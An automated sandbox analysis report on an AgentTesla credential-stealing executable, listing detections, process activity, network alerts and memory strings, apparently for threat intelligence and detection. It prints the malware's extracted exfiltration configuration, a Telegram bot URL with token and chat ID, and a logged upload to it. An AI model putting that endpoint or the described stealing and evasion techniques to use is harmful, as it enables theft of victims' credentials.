Edit tour

Windows Analysis Report
xnlP06YunJ.exe

Overview

General Information

Sample name:	xnlP06YunJ.exe renamed because original name is a hash value
Original sample name:	3301c867bfc564fad83be393a67e00cf4615b436940db9ed0728b3d4a523e040.exe
Analysis ID:	1632360
MD5:	a76f2b7c0390e364909268037328a880
SHA1:	2177eb596046f6f3a0fd743cad0a438c990fdde4
SHA256:	3301c867bfc564fad83be393a67e00cf4615b436940db9ed0728b3d4a523e040
Tags:	exeuser-adrian__luca
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AgentTesla

Yara detected AntiVM3

Yara detected Telegram RAT

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

Injects a PE file into a foreign processes

Joe Sandbox ML detected suspicious sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Uses ipconfig to lookup or modify the Windows network settings

Uses the Telegram API (likely for C&C communication)

Yara detected Costura Assembly Loader

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

xnlP06YunJ.exe (PID: 6616 cmdline: "C:\Users\user\Desktop\xnlP06YunJ.exe" MD5: A76F2B7C0390E364909268037328A880)

cmd.exe (PID: 6784 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /release MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 6948 cmdline: ipconfig /release MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

xnlP06YunJ.exe (PID: 524 cmdline: "C:\Users\user\Desktop\xnlP06YunJ.exe" MD5: A76F2B7C0390E364909268037328A880)

cmd.exe (PID: 5692 cmdline: "C:\Windows\System32\cmd.exe" /c ipconfig /renew MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2660 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 5776 cmdline: ipconfig /renew MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7351654760:AAFbpZoZSrKZKoCJV2by7hbyBL3xnGEoUrU/sendMessage"}

Threatname: Agenttesla

{"Exfil Mode": "Telegram", "Telegram Url": "https://api.telegram.org/bot7351654760:AAFbpZoZSrKZKoCJV2by7hbyBL3xnGEoUrU/sendMessage?chat_id=7103094488"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.2109400212.00000000028C7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.2109400212.00000000028C7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1158237609.0000000005DB0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000004.00000002.2109400212.00000000028BB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.2109400212.0000000002887000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2109400212.0000000002887000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.2109400212.0000000002831000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2109400212.0000000002831000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.2109400212.0000000002831000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1141980710.00000000033A1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: xnlP06YunJ.exe PID: 6616	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: xnlP06YunJ.exe PID: 6616	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: xnlP06YunJ.exe PID: 524	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: xnlP06YunJ.exe PID: 524	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: xnlP06YunJ.exe PID: 524	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.xnlP06YunJ.exe.5db0000.6.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.xnlP06YunJ.exe.5db0000.6.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c ipconfig /release, CommandLine: "C:\Windows\System32\cmd.exe" /c ipconfig /release, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\xnlP06YunJ.exe", ParentImage: C:\Users\user\Desktop\xnlP06YunJ.exe, ParentProcessId: 6616, ParentProcessName: xnlP06YunJ.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c ipconfig /release, ProcessId: 6784, ProcessName: cmd.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Suricata Signatures

ETPRO MALWARE Agent Tesla Telegram Exfil

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T22:51:10.368588+0100	2851779	1	Malware Command and Control Activity Detected	192.168.2.7	49683	149.154.167.220	443	TCP

ETPRO MALWARE Agent Tesla Telegram Exfil M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T22:51:10.368588+0100	2852815	1	Malware Command and Control Activity Detected	192.168.2.7	49683	149.154.167.220	443	TCP

ETPRO MALWARE Win32/Agent Tesla CnC Response Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T22:51:11.108511+0100	2854281	1	A Network Trojan was detected	149.154.167.220	443	192.168.2.7	49683	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T22:51:09.625936+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49683	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: ipconfig.exe.5776.7.memstrmin	Malware Configuration Extractor: Agenttesla {"Exfil Mode": "Telegram", "Telegram Url": "https://api.telegram.org/bot7351654760:AAFbpZoZSrKZKoCJV2by7hbyBL3xnGEoUrU/sendMessage?chat_id=7103094488"}
Source: xnlP06YunJ.exe.524.4.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7351654760:AAFbpZoZSrKZKoCJV2by7hbyBL3xnGEoUrU/sendMessage"}

Multi AV Scanner detection for submitted file

Source: xnlP06YunJ.exe	Virustotal: Detection: 72%			Perma Link
Source: xnlP06YunJ.exe	ReversingLabs: Detection: 60%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: xnlP06YunJ.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.7:49682 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49683 version: TLS 1.2

Source: xnlP06YunJ.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: xnlP06YunJ.exe, 00000000.00000002.1160738480.0000000006BE0000.00000004.08000000.00040000.00000000.sdmp, xnlP06YunJ.exe, 00000000.00000002.1153257947.00000000043A1000.00000004.00000800.00020000.00000000.sdmp, xnlP06YunJ.exe, 00000000.00000002.1153257947.0000000004733000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: xnlP06YunJ.exe, 00000000.00000002.1160738480.0000000006BE0000.00000004.08000000.00040000.00000000.sdmp, xnlP06YunJ.exe, 00000000.00000002.1153257947.00000000043A1000.00000004.00000800.00020000.00000000.sdmp, xnlP06YunJ.exe, 00000000.00000002.1153257947.0000000004733000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: xnlP06YunJ.exe, 00000000.00000002.1159805229.0000000006620000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: xnlP06YunJ.exe, 00000000.00000002.1159805229.0000000006620000.00000004.08000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\xnlP06YunJ.exe

Code function: 4x nop then jmp 06BCF618h

0_2_06BCF560

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49683 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2851779 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil : 192.168.2.7:49683 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.7:49683 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2854281 - Severity 1 - ETPRO MALWARE Win32/Agent Tesla CnC Response Inbound : 149.154.167.220:443 -> 192.168.2.7:49683

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic

HTTP traffic detected: POST /bot7351654760:AAFbpZoZSrKZKoCJV2by7hbyBL3xnGEoUrU/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dd5d984054af83Host: api.telegram.orgContent-Length: 980Expect: 100-continueConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: unknown

Source: xnlP06YunJ.exe, 00000004.00000002.2109400212.00000000028C3000.00000004.00000800.00020000.00000000.sdmp, xnlP06YunJ.exe, 00000004.00000002.2109400212.00000000028C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: xnlP06YunJ.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: xnlP06YunJ.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: xnlP06YunJ.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: xnlP06YunJ.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: xnlP06YunJ.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: xnlP06YunJ.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: xnlP06YunJ.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: xnlP06YunJ.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: xnlP06YunJ.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: xnlP06YunJ.exe	String found in binary or memory: http://ocsp.digicert.com0
Source: xnlP06YunJ.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: xnlP06YunJ.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: xnlP06YunJ.exe	String found in binary or memory: http://ocsp.digicert.com0X
Source: xnlP06YunJ.exe, 00000000.00000002.1141980710.00000000033A1000.00000004.00000800.00020000.00000000.sdmp, xnlP06YunJ.exe, 00000004.00000002.2109400212.0000000002831000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: xnlP06YunJ.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: xnlP06YunJ.exe, 00000004.00000002.2109400212.0000000002831000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: xnlP06YunJ.exe, 00000004.00000002.2109400212.0000000002831000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: xnlP06YunJ.exe, 00000004.00000002.2109400212.0000000002831000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: xnlP06YunJ.exe, 00000004.00000002.2109400212.0000000002831000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t
Source: xnlP06YunJ.exe, 00000004.00000002.2109400212.00000000028C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: xnlP06YunJ.exe, 00000004.00000002.2109400212.0000000002831000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7351654760:AAFbpZoZSrKZKoCJV2by7hbyBL3xnGEoUrU/
Source: xnlP06YunJ.exe, 00000004.00000002.2109400212.00000000028C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7351654760:AAFbpZoZSrKZKoCJV2by7hbyBL3xnGEoUrU/sendDocument
Source: xnlP06YunJ.exe	String found in binary or memory: https://github.com/StefH/System.Linq.Dynamic.Core/issues/358
Source: xnlP06YunJ.exe, 00000000.00000002.1159805229.0000000006620000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: xnlP06YunJ.exe, 00000000.00000002.1153257947.00000000043A1000.00000004.00000800.00020000.00000000.sdmp, xnlP06YunJ.exe, 00000000.00000002.1159805229.0000000006620000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: xnlP06YunJ.exe, 00000000.00000002.1159805229.0000000006620000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: xnlP06YunJ.exe	String found in binary or memory: https://github.com/mono/linker#link-xml-file-examples
Source: xnlP06YunJ.exe	String found in binary or memory: https://github.com/mono/mono/issues/12917
Source: xnlP06YunJ.exe, 00000000.00000002.1159805229.0000000006620000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: xnlP06YunJ.exe, 00000000.00000002.1141980710.00000000033A1000.00000004.00000800.00020000.00000000.sdmp, xnlP06YunJ.exe, 00000000.00000002.1159805229.0000000006620000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: xnlP06YunJ.exe, 00000000.00000002.1159805229.0000000006620000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49683
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49682
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49691
Source: unknown	Network traffic detected: HTTP traffic on port 49691 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49683 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49682 -> 443

Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.7:49682 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49683 version: TLS 1.2

Source: C:\Users\user\Desktop\xnlP06YunJ.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_06C44BC8 NtResumeThread,		0_2_06C44BC8
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_06C44BC3 NtResumeThread,		0_2_06C44BC3

Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_01A7ACD0	0_2_01A7ACD0
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_01A71AA1	0_2_01A71AA1
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_01A7ACC0	0_2_01A7ACC0
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_01A7B660	0_2_01A7B660
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_01A71AA1	0_2_01A71AA1
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_066BF7F0	0_2_066BF7F0
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_066BFAC0	0_2_066BFAC0
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_066BE2B8	0_2_066BE2B8
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_066A0040	0_2_066A0040
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_066A0022	0_2_066A0022
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_066BE800	0_2_066BE800
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_06BCD668	0_2_06BCD668
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_06BC8B90	0_2_06BC8B90
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_06BC5EEF	0_2_06BC5EEF
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_06BC8C54	0_2_06BC8C54
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_06BC8B8B	0_2_06BC8B8B
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 0_2_06C40040	0_2_06C40040
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_00D99108	4_2_00D99108
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_00D9F288	4_2_00D9F288
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_00D99450	4_2_00D99450
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_00D955C0	4_2_00D955C0
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_00D9A538	4_2_00D9A538
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_00D968F8	4_2_00D968F8
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_00D92C88	4_2_00D92C88
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_00D9DDA8	4_2_00D9DDA8
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_00D99D20	4_2_00D99D20
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_00D9E158	4_2_00D9E158
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_00D95278	4_2_00D95278
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_00D954E4	4_2_00D954E4
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_00D9A529	4_2_00D9A529
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_00D968E8	4_2_00D968E8
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_00D929BD	4_2_00D929BD
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_00D92A00	4_2_00D92A00
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_00D9DD9F	4_2_00D9DD9F
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_064CBE28	4_2_064CBE28
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_064C26B1	4_2_064C26B1
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_064C0712	4_2_064C0712
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_064C7D50	4_2_064C7D50
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_064CCA40	4_2_064CCA40
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_064CB328	4_2_064CB328
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_064CDBC0	4_2_064CDBC0
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_064C5840	4_2_064C5840
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_064CB958	4_2_064CB958
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_064C9118	4_2_064C9118
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_064CEE70	4_2_064CEE70
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_064CAED8	4_2_064CAED8
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_064C96E7	4_2_064C96E7
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_064C9FE8	4_2_064C9FE8
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_064C6486	4_2_064C6486
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_064C6490	4_2_064C6490
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_064CD568	4_2_064CD568
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_064C6DA0	4_2_064C6DA0
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_064C322A	4_2_064C322A
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_064CCA30	4_2_064CCA30
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_064CAAA0	4_2_064CAAA0
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_064CA3A8	4_2_064CA3A8
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_064CDBB0	4_2_064CDBB0
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_064C5830	4_2_064C5830
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_064C88D8	4_2_064C88D8
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_064C8158	4_2_064C8158
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_064C8168	4_2_064C8168
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_064C9108	4_2_064C9108
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_06555200	4_2_06555200
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_065556C0	4_2_065556C0
Source: C:\Users\user\Desktop\xnlP06YunJ.exe	Code function: 4_2_06554DF1	4_2_06554DF1

Source: xnlP06YunJ.exe

Static PE information: invalid certificate

Source: xnlP06YunJ.exe, 00000000.00000002.1160738480.0000000006BE0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs xnlP06YunJ.exe
Source: xnlP06YunJ.exe, 00000000.00000002.1153257947.000000000452F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename77d62c29-4ea5-4d42-a3b6-c31fbd3b2ada.exe4 vs xnlP06YunJ.exe
Source: xnlP06YunJ.exe, 00000000.00000002.1153257947.000000000452F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBcsvlqaj.dll" vs xnlP06YunJ.exe
Source: xnlP06YunJ.exe, 00000000.00000002.1141980710.000000000377B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename77d62c29-4ea5-4d42-a3b6-c31fbd3b2ada.exe4 vs xnlP06YunJ.exe
Source: xnlP06YunJ.exe, 00000000.00000002.1153257947.00000000043A1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs xnlP06YunJ.exe
Source: xnlP06YunJ.exe, 00000000.00000002.1153257947.00000000043A1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs xnlP06YunJ.exe
Source: xnlP06YunJ.exe, 00000000.00000002.1141980710.00000000033A1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs xnlP06YunJ.exe
Source: xnlP06YunJ.exe, 00000000.00000002.1156603078.0000000005980000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameBcsvlqaj.dll" vs xnlP06YunJ.exe
Source: xnlP06YunJ.exe, 00000000.00000002.1139963777.00000000014AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs xnlP06YunJ.exe
Source: xnlP06YunJ.exe, 00000000.00000000.857119340.0000000000F59000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameKqjoqlc.exe< vs xnlP06YunJ.exe
Source: xnlP06YunJ.exe, 00000000.00000002.1159805229.0000000006620000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs xnlP06YunJ.exe
